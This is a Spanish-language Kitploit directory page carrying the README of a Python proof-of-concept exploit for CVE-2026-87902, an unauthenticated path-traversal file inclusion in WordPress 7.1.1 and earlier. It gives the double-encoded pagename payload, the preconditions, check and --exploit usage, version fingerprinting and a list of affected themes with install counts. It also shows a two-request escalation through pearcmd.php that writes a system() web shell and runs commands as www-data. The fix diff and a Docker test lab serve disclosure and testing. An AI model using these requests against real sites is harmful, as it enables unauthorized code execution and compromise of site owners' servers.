Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902 — PoC en Python para CVE-2026-87902, un RCE por path traversal no autenticado en WordPress mediante get_page_template(), con fingerprinting de versión, comprobaciones de tema e inclusión de archivos opcional. | Kitploit
Herramientas/GitHubGitHub/vulpecuna/cve-2026-87902
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónHerramienta de Acceso RemotoLabs y Práctica
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

PoC en Python para CVE-2026-87902, un RCE por path traversal no autenticado en WordPress mediante get_page_template(), con fingerprinting de versión, comprobaciones de tema e inclusión de archivos opcional.

316hace 1 díaAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902

AvisoGHSA-7hp8-65ch-5whp
ProductoWordPress <= 7.1.1, corregido en 7.1.2; ambas versiones probadas
Sinkwp-includes/template.php, get_page_template()
Causael candidato construido a partir de pagename no pasa por validate_file()
Actoranónimo, sin cuenta, sin cookie, sin token CSRF
Métodoun único GET, dos parámetros
Efectoinclusión y ejecución de un .php arbitrario en disco dentro del proceso de WordPress
Escaladaejecución remota de comandos donde el gadget PEAR es explotable, ver PHP y escalada
Escrituras en el objetivoninguna con el --include por defecto
Reproducido aquí6 versiones, 7 temas, 4 versiones de PHP

Petición

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> es el directorio page-, el recorrido y el objetivo, con cada punto y barra doblemente codificados:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
CampoRol
pagenameel payload. WP_Query lo pasa por sanitize_title_for_query(), que reescribe un punto literal a un guion pero preserva los octetos codificados en porcentaje. get_page_template() luego llama a urldecode() para decodificar el resultado en una ruta
page_idcualquier página publicada, para que la consulta coincida con un post en lugar de devolver un 404. Sin él, la plantilla de página nunca se carga

El núcleo construye page-{urldecode($pagename)}.php y lo resuelve contra el directorio de la hoja de estilos. La codificación es necesaria: sanitize_title_for_query() reescribe un .. literal a -.

Precondiciones

#CondiciónPor qué
1el tema activo incluye un directorio page-* de nivel superiorel nombre es page-{payload}.php, por lo que su primer segmento debe resolverse en disco
2una página publicada que no sea ni la portada ni la página de entradasis_front_page e is_home se prueban antes que is_page
3el archivo objetivo termina en .phpel núcleo añade la extensión

Sin contenido subido, sin cambios en la configuración del sitio, el tema o el núcleo.

Los 26 temas afectados llaman al directorio page-templates. poc.py toma el nombre de themes.json, asume page-templates para un tema que no está en él, y --root lo sobrescribe con una lista separada por comas.

Los hosts Windows omiten la precondición 1. Win32 cancela .. léxicamente, por lo que un segmento que no existe sigue siendo cancelado por el .. posterior.

RutaResultado
C:\...\wordpress\page-nothing\..\README.mdexiste
C:\...\wordpress\page-nothing\README.mdno existe

Probado con os.stat en Windows 11, que usa el mismo manejo de rutas Win32 que file_exists() de PHP. WordPress en sí no se ejecutó en Windows.

Uso

Check, el predeterminado

Identifica el tema y las dos versiones, luego pregunta si el directorio page-* existe. Nada se incluye ni se ejecuta.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Respuesta en page-<root>/Lectura
200el directorio está ahí y lista
404no existe tal directorio
403no concluyente, por lo que sigue una petición de control para page-<8 random hex>/
403 luego control 404la negativa era sobre la existencia, el directorio está ahí
403 luego control rechazadoel servidor rechaza lo que se le pida, salida 4

Afectado requiere ambas: el directorio existe, y la versión es igual o inferior a 7.1.1.

Exploit

Ejecuta primero la comprobación, luego incluye el archivo a menos que la comprobación haya descartado el objetivo.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

Una plantilla de tema renderizada siempre referencia /wp-content/themes/ a través de wp_head(), un archivo incluido desde fuera del tema no. Esa es la regla de veredicto.

Opciones

OpciónPredeterminadoEfecto
--target URLrequeridodespliegue bajo prueba
--exploitdesactivadoincluir un archivo tras la comprobación
--include PATHwp-admin/install.phpel .php a incluir. Las rutas relativas se resuelven desde la raíz de WordPress, las rutas absolutas suben con --depth
--depth N7saltos ../ para un --include absoluto
--root NAME[,NAME]desde themes.jsonlos directorios page-* a probar, sin el prefijo page-
--page-id IDdescubiertoomitir el descubrimiento de página
--theme SLUGdescubiertoomitir la búsqueda del tema
--theme-version Vdescubiertoomitir la búsqueda de la versión del tema
--no-versiondesactivadono hacer ninguna petición cuyo único propósito sea conocer una versión
--core-json PATHcore.jsonhuellas de versiones, leído solo cuando nada reveló una versión
--tracedesactivadoimprimir cada intercambio
--jsondesactivadoun objeto JSON, nada más
--yesdesactivadoomitir la confirmación
CódigoCheckExploit
0afectadose incluyó un .php fuera del tema
1no afectadono incluido
2sin respuesta, o la respuesta no es WordPressigual
3uso, o rechazado en la confirmaciónigual
4no concluyente, ver los casos 403 y 7.1.xno usado

El --include por defecto es wp-admin/install.php: en todo WordPress, salida inconfundible, no cambia nada.

Los certificados TLS no se verifican. Se aceptan caducados, autofirmados y con nombre de host no coincidente.

Fingerprinting de versión

Se prueban en orden, deteniéndose en el primero que responda.

FuenteCosteEn 7.1.1
meta generator en la página de iniciogratisversión exacta
?ver= en un recurso de /wp-includes/gratisversión exacta
/?feed=rss21 peticiónversión exacta
/wp-links-opml.php1 peticiónversión exacta
sha256 de un recurso servido contra core.json1 peticiónel conjunto de versiones que sirven esos bytes

core.json cubre las 112 versiones publicadas y 7.1.2, cuatro recursos cada una. Cruzarlas nombra 9 versiones exactamente y deja una mediana de 4 candidatas. Afectado requiere que cada candidata sea igual o inferior a 7.1.1.

7.1.1 y 7.1.2 no se pueden distinguir desde fuera. Los tres archivos que difieren son wp-admin/about.php, wp-includes/template.php y wp-includes/version.php, ninguno de ellos servido. Un sitio 7.1.x que oculta su versión obtiene salida 4.

Temas

Los 200 temas más instalados en wordpress.org. 26 incluyen un directorio page-* y están afectados, juntos 765.500 de 9.027.090 instalaciones activas. Los otros 174 fallan la precondición 1.

TemaVersiónInstalacionespage-*EstadoConfirmado
neve4.2.11200,000page-templates🔴 afectadolab
sydney2.7180,000page-templates🔴 afectadolab
hestia3.3.670,000page-templates🔴 afectadolab
inspiro2.2.360,000page-templates🔴 afectadosurvey
colibri-wp1.0.16950,000page-templates🔴 afectadosurvey
twentyfourteen4.650,000page-templates🔴 afectadolab
twentytwelve4.950,000page-templates🔴 afectadolab
colormag4.2.540,000page-templates🔴 afectadolab
zakra4.3.330,000page-templates🔴 afectadosurvey
spacious1.9.1220,000page-templates

lab significa probado de extremo a extremo con poc.py contra una imagen estándar, survey significa que el directorio se leyó del archivo del tema y el tema no se levantó.

Probados y no afectados, ninguno de ellos con un directorio page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, incluido por hestia, neve y otros, no cambia la afectación. Solo descarta el ID de la portada para la petición.

Versiones

VersiónTema por defecto de la imagenCon un tema afectadoConfirmado
7.1.2🟢 no afectado, twentytwentyfive🟢 no afectado, nevelab
7.1.1🟢 no afectado, twentytwentyfive🔴 afectado, nevelab
7.1.0🟢 no afectado, twentytwentyfive🔴 afectado, nevelab
7.0.4🟢 no afectado, twentytwentyfive🔴 afectado, nevelab
6.8.3🟢 no afectado, twentytwentyfive🔴 afectado, nevelab
6.1.0🟢 no afectado, twentytwentythree🔴 afectado, twentytwelvelab
4.9.8🟢 no afectado, twentyseventeen🔴 afectado, twentytwelvelab
las otras 105 versionesno medidono medidono medido
Versión del temano es una precondición, el directorio page-* sí lo es. Se usó neve 4.2.11 en 6.8.3 y superiores, twentytwelve 4.9 en los dos núcleos más antiguos
7.1.2sin imagen publicada. Probado con lab/run.py --core 7.1.2, que aplica el archivo de la versión oficial sobre 7.1.1-apache
De fábricaninguna versión desde la 4.1 está afectada. twentyfifteen hasta twentytwentyfive no incluyen un directorio page-*. twentyfourteen y twentytwelve sí, y fueron los predeterminados de 3.8 a 4.0 y de 3.5, para los que no se publica imagen
No descargables15 de las 112 etiquetas publicadas: 14 anteriores a 4.5.3-apache usan un manifiesto v1 que containerd 2.1 rechaza, y 4.5.3-apache tiene una capa que el registro no puede servir

Variantes de PHP publicadas por versión, que deciden la escalada a continuación:

Versiones de WordPressVariantes de PHP publicadas como -apache
4.1.x a 4.5.xninguna, solo etiqueta simple, 5.6
4.6.x a 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x a 5.5.x7.1 7.2 7.3 7.4
5.6.x a 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x a 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x y 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x y 7.1.x8.2 8.3 8.4 8.5

PHP y escalada

La inclusión de archivos tiene éxito en las cuatro imágenes y pearcmd.php está presente en cada una. La ejecución de comandos a través del gadget necesita register_argc_argv activado, que la imagen php8.5 desactiva.

ImagenPHPregister_argc_argv
$_SERVER['argv']
RCE vía pearcmd.phpConfirmado
7.1.1-php8.2-apache8.2.33Activado, poblado🔴 uid=33(www-data)lab
7.1.1-apache8.3.33Activado, poblado🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25Activado, poblado🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Desactivado, null🟢 no alcanzadolab

Leído a través de apache2handler, no de la CLI, que fuerza la configuración. Las dos peticiones detrás de la columna RCE:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py incluye un archivo, no controla el gadget. Alcanzarlo con --include /usr/local/lib/php/pearcmd.php --depth 7. No se buscó ningún otro gadget aparte de pearcmd.php en la imagen 8.5.

Corrección

Leída de wordpress-7.1.2.zip. Dos cambios.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

La primera corrige la rama vulnerable, la segunda comprueba cada ruta de plantilla resuelta, sea cual sea su origen. Probado: en 7.1.2 con neve activo y page-templates presente, la misma petición renderiza la propia página del tema, 55.084 bytes, en lugar del instalador.

Existe una segunda ruta en 7.1.1 y anteriores:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
En qué difieredesvía WP_Query a su rama post_name, que nunca reescribe pagename, por lo que un .. literal funciona
Qué necesitaun tema sin single.php, porque is_single se prueba antes que is_page
Probado en7.1.1 con bloghash
Por qué está aquísobrevive a una corrección que endurece solo el saneador. La comprobación de contención anterior también lo cierra

Lab

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
Por fila
Imagenwordpress:<tag> oficial, sin modificar
Aislamientocontenedor propio, puerto propio, base de datos propia en la MariaDB compartida
Instalaciónsobre HTTP a través de wp-admin/install.php, por lo que ninguna versión necesita un wp-cli coincidente
Estadotal como lo deja el instalador, una página publicada, nada subido
Controlado conpoc.py --exploit, por lo que una fila mide la inclusión y no la apariencia
OpciónPredeterminadoEfecto
--jobs N2filas en paralelo
--theme SLUG[@VERSION]ningunoinstalar y activar en cada fila
--core VERSIONningunoaplicar esa versión oficial sobre el núcleo de la imagen, que es como se ejecuta una versión sin imagen
--keepdesactivadodejar las instancias levantadas, contraseña de admin impresa al final
--prunedesactivadoeliminar las imágenes que esta ejecución descargó
--port-base N8110primer puerto, uno por fila, solo 127.0.0.1
--db-imagemariadb:10.6imagen de base de datos
--timeout N180segundos que un contenedor tiene para responder
--out PATHlab/results.jsondetalle por fila

Códigos de salida: 0 todas las filas medidas, 1 al menos una no lo fue, 2 Docker ausente o nada que ejecutar, 3 uso o rechazado. Una imagen de WordPress pesa de 600 MB a 1,1 GB, por lo que --all sin --prune son decenas de GB.

.github/workflows/lab.yml ejecuta cuatro filas en cada cambio al PoC o al lab, y semanalmente: un tema afectado en 7.1.1 y en 6.8.3, el tema por defecto de la imagen, y la variante php8.5. Cada una afirma su código de salida esperado.

Referencias

AvisoGHSA-7hp8-65ch-5whp
Write-uphttps://ressl.ch/blog/cve-2026-87902-wordpress/
Otro PoChttps://github.com/ressl/cve-2026-87902-poc

Dos ideas tomadas de ese PoC, ambas probadas aquí primero:

IdeaConservadaProbada
/index.php?rest_route= y /wp-json/ como rutas de respaldo para el listado de páginassíel descubrimiento tiene éxito a través de una de las tres
preferir una página sin plantilla de página propia, ya que get_page_template() prueba esa plantilla primerosí, como ordenaciónforzar una página que lleva una todavía se reprodujo en 7.1.1, por lo que cuesta una petición en el peor caso

Archivos

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Requisitos: Docker, Python 3.8+, sin paquetes de terceros.

Descargar herramienta
🔴 afectado
survey
hueman3.7.2720,000page-templates🔴 afectadosurvey
bloghash1.0.3010,000page-templates🔴 afectadolab
botiga2.4.910,000page-templates🔴 afectadosurvey
tutorstarter4.0.310,000page-templates🔴 afectadosurvey
mesmerize1.6.18710,000page-templates🔴 afectadosurvey
flash1.4.1210,000page-templates🔴 afectadosurvey
shapely1.3.610,000page-templates🔴 afectadosurvey
silverstorm1.0.368,000page-templates🔴 afectadosurvey
prespa1.7.88,000page-templates🔴 afectadosurvey
hybridmag1.1.46,000page-templates🔴 afectadosurvey
chromenews6.2.105,000page-templates🔴 afectadosurvey
morenews4.3.105,000page-templates🔴 afectadosurvey
newsexo9.12,000page-templates🔴 afectadosurvey
reviewnews2.0.51,000page-templates🔴 afectadosurvey
the8-shop-dark1.0.5400page-templates🔴 afectadosurvey
newsonline0.6100page-templates🔴 afectadosurvey